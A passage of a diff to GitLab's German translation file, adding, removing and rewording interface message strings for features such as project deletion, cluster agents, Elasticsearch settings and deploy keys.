msgstr "Fehler beim Laden der Statistik. Bitte versuche es erneut"
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2417,7 +2457,7 @@ msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
-msgstr "'Shared Runners' für neue Projekte aktivieren"
+msgstr "'Geteilte Runner' für neue Projekte aktivieren"
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "Nach dem erfolgreichen Ändern des Passwortes wirst du zum Anmeldebildschirm weitergeleitet."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "Nach einer erfolgreichen Passwortaktualisierung wirst du zur Anmeldeseite weitergeleitet, wo du dich mit deinem neuen Passwort anmelden kannst."
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "Bei einem leeren GitLab-Benutzerfeld wird der vollständigen Namen des FogBugz-Benutzers/-Benutzerin (z. B. \"Von John Smith\") in die Beschreibung aller Tickets und Kommentare eingefügt. Außerdem werden diese Tickets und Kommentare auch mit dem/der Projektersteller(in) assoziiert und/oder ihm/ihr zugewiesen."
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr "Es ist ein Fehler aufgetreten"
@@ -3550,6 +3596,9 @@ msgstr "Beim Abrufen der Dropdown-Daten ist ein Fehler aufgetreten."
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "Bei der Vorschau des Blobs ist ein Fehler aufgetreten"
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr "Beim Laden der Diagrammdaten ist ein Fehler aufgetreten"
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "Beim Laden der Commit-Signaturen ist ein Fehler aufgetreten"
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr "Alle verschlüsselten Tokens"
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr "Jeder Namensraum"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr "App ID"
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr "Möchtest du diesen %{typeOfComment} wirklich entfernen?"
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr "Zuweisen an"
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr "Die Datei konnte nicht angehängt werden."
msgid "Audit Events"
msgstr "Audit-Ereignisse"
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr "(entfernt)"
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr "Bereich anzeigen"
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr "Callback-URL"
@@ -6463,12 +6563,12 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Cherry-Pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6517,9 +6617,6 @@ msgstr "Änderungen"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr "Ändert den Titel in \"%{title_param}\"."
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr "Überprüfe die Verfügbarkeit der Funktion im Namensraum"
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr "%{startDate} - %{endDate}"
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr "Wähle eine Datei"
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr "Kunden"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr "Klonen"
@@ -7217,6 +7317,9 @@ msgstr "Schließen"
msgid "Close %{issueType}"
msgstr "%{issueType} schließen"
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr "Schließe %{tabname}"
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr "Schließt dieses %{quick_action_target}."
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr "Abrufen der Projekte"
msgid "ClusterIntegration|Fetching zones"
msgstr "Rufe Zonen ab"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab-Integration"
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr "Kubernetes-Clustername"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr "Kubernetes-Cluster ermöglichen dir auf einfache Weise die Benutzung der Review-Anwendungen, die Bereitstellung deiner Anwendungen, deine Pipelines auszuführen, und vieles mehr."
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr "Code"
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr "Code-Besitzer(innen)"
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr "Prometheus konfigurieren"
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr "Tracing konfigurieren"
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr "Konfiguriere, wie ein(e) Benutzer(in) ein neues Konto erstellt."
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "Erstelle neues Verzeichnis"
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr "Anforderung erstellen"
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr "Snippet erstellen"
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "Erstelle einen persönlichen Zugriffstoken"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Cron-Zeitzone"
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr "Dashboard"
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr "Kommentar entfernen"
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr "Abhängigkeitsproxy"
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr "Hostschlüssel erkennen"
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr "Verzeichnisname"
msgid "Disable"
msgstr "Deaktivieren"
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr "Domäne"
@@ -12289,9 +12509,6 @@ msgstr "Negativ bewertet"
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr "Anwendung bearbeiten"
msgid "Edit comment"
msgstr "Kommentar bearbeiten"
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr "Beschreibung bearbeiten"
@@ -12499,6 +12725,9 @@ msgstr "Indizierungsbeschränkungen für Elasticsearch"
msgid "Elasticsearch indexing started"
msgstr "Elasticsearch Indizierung gestartet"
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Aktiviere oder deaktiviere die Pseudonymizer-Datensammlung."
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr "Job: %{job}"
msgid "EnvironmentsDashboard|More actions"
msgstr "Weitere Aktionen"
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
